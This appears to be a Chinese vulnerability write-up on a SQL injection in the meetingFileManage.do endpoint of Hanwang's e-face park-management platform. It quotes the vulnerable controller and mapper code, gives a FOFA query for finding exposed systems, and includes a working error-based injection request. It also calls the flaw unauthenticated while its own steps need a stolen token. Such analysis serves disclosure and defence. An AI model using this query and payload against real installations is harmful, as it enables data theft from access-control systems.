汉王e脸通综合管理平台 meetingFileManage.do SQL注入漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 meetingFileManage.do 接口存在 SQL注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 MobiMeetingAppController 里关于 meetingFileManage 的实现

@ResponseBody
    @RequestMapping(
        value = {"/meetingFileManage.do"},
        method = {RequestMethod.GET}
    )
    public MethodResult meetingFileManage(@RequestParam(required = false,value = "keys") String keys, @RequestParam(required = false,value = "fileName") String fileName, @RequestParam(required = false,value = "begin") String begin, @RequestParam(required = false,value = "end") String end, @RequestParam(required = false,value = "page") Integer page, @RequestParam(required = false,value = "pageSize") Integer pageSize, @RequestParam(required = false,value = "columnKey") String columnKey, @RequestParam(required = false,value = "order") String order, @RequestHeader(required = false,value = "token") String token) {
        new MethodResult();
        MethodResult rst = this.getTokenUser(token);
        if (rst.isSuccess()) {
            UserTpm user = (UserTpm)rst.getResult();

            MethodResult methodResult;
            try {
                if (page == null) {
                    page = Constants.DEFAULT_START_PAGE_INDEX;
                }

                if (pageSize == null) {
                    pageSize = Constants.PAGE_SIZE;
                }

                MeetingFileParam param = new MeetingFileParam();
                param.setBegin(begin);
                param.setEnd(end);
                param.setKeys(keys);
                param.setFileName(fileName);
                param.setColumnKey(columnKey);
                param.setOrder(order);
                PageHelper.startPage(page, pageSize);
                param.setUserId(user.getId());
                List<MeetingFile> list = this.meetingAsm.meetingFileManageForPersonal(param);

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 MeetingFileDsm.xml

<!--个人会议附件列表管理-->
  <select id="meetingFileManageForPersonal" parameterType="com.hanvon.iface.tpm.meeting.param.MeetingFileParam" resultMap="BaseResultMap">
    SELECT MMF.ID, MMF.MT_ID, MMF.MF_NAME, MMF.MF_FILE_PATH, MMF.MF_CREATE_TIME,MMF.MF_CREATE_ID,
    MT.MT_NAME,MT.MT_CONTENT,MT.MT_DATE,MT.MT_START_TIME,MT.MT_END_TIME,MT.MT_CREATE_ID,SU.SZ_NAME as mtCreateName,sys_user.SZ_NAME as mfCreateName,
    sb.sz_name as branchName
    FROM mt_meeting_file MMF
    LEFT JOIN  mt_meeting MT ON MMF.MT_ID = MT.ID
    LEFT JOIN sys_user_sys SU ON MT.MT_CREATE_ID = SU.NG_ID
    LEFT JOIN sys_user_sys sys_user ON MMF.MF_CREATE_ID = sys_user.NG_ID
    LEFT JOIN sys_branch sb on sb.ng_id = (SELECT sub.ng_branch_id from sys_user_branch sub where sub.ng_user_id =MT.MT_CREATE_ID )
    WHERE 1=1
    AND (MMF.MT_ID in (SELECT me.mt_id from mt_meeting_employee me where me.me_id=#{userId})
         or MMF.mf_create_id=#{userId})

    <if test="fileName != null and fileName != ''">
      and MMF.MF_NAME like CONCAT('%',#{fileName},'%')
    </if>
    <if test="keys != null">
      AND (
      sys_user.SZ_NAME  like CONCAT('%',#{keys},'%')
      OR sys_user.sz_employ_id =#{keys}
      )
    </if>
    <if test="begin!= null">
      AND DATE( MMF.MF_CREATE_TIME)  &gt;= DATE(#{begin,jdbcType=VARCHAR})
    </if>
    <if test="end != null">
      AND DATE(#{end,jdbcType=VARCHAR}) &gt;= DATE( MMF.MF_CREATE_TIME)
    </if>
    OR  MT.mt_create_id = #{userId}
    ORDER BY
    <if test="order == null or order == ''">
      MMF.MF_CREATE_TIME desc
    </if>
    <if test="order != null and order != ''">
      ${columnKey} ${order}
    </if>
  </select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。

漏洞复现

需要一个合法的 token,参考 wxLogin.do 信息泄露获取

GET /manage/mobiMeetingApp/meetingFileManage.do?begin=&branchId=1&end=&page=1&pageSize=10&year=2025&recordId=1&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(2920=2920,1)))),8357)) HTTP/1.1
Host: hanvon.mrxn.net
token: xxxxxx

成功通过报错注入爆出数据库版本信息


手机扫码阅读

亿赛通电子文档安全管理系统 notouchapprove.jsp SQL注入漏洞

CVE-2025-54424:1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)

评 论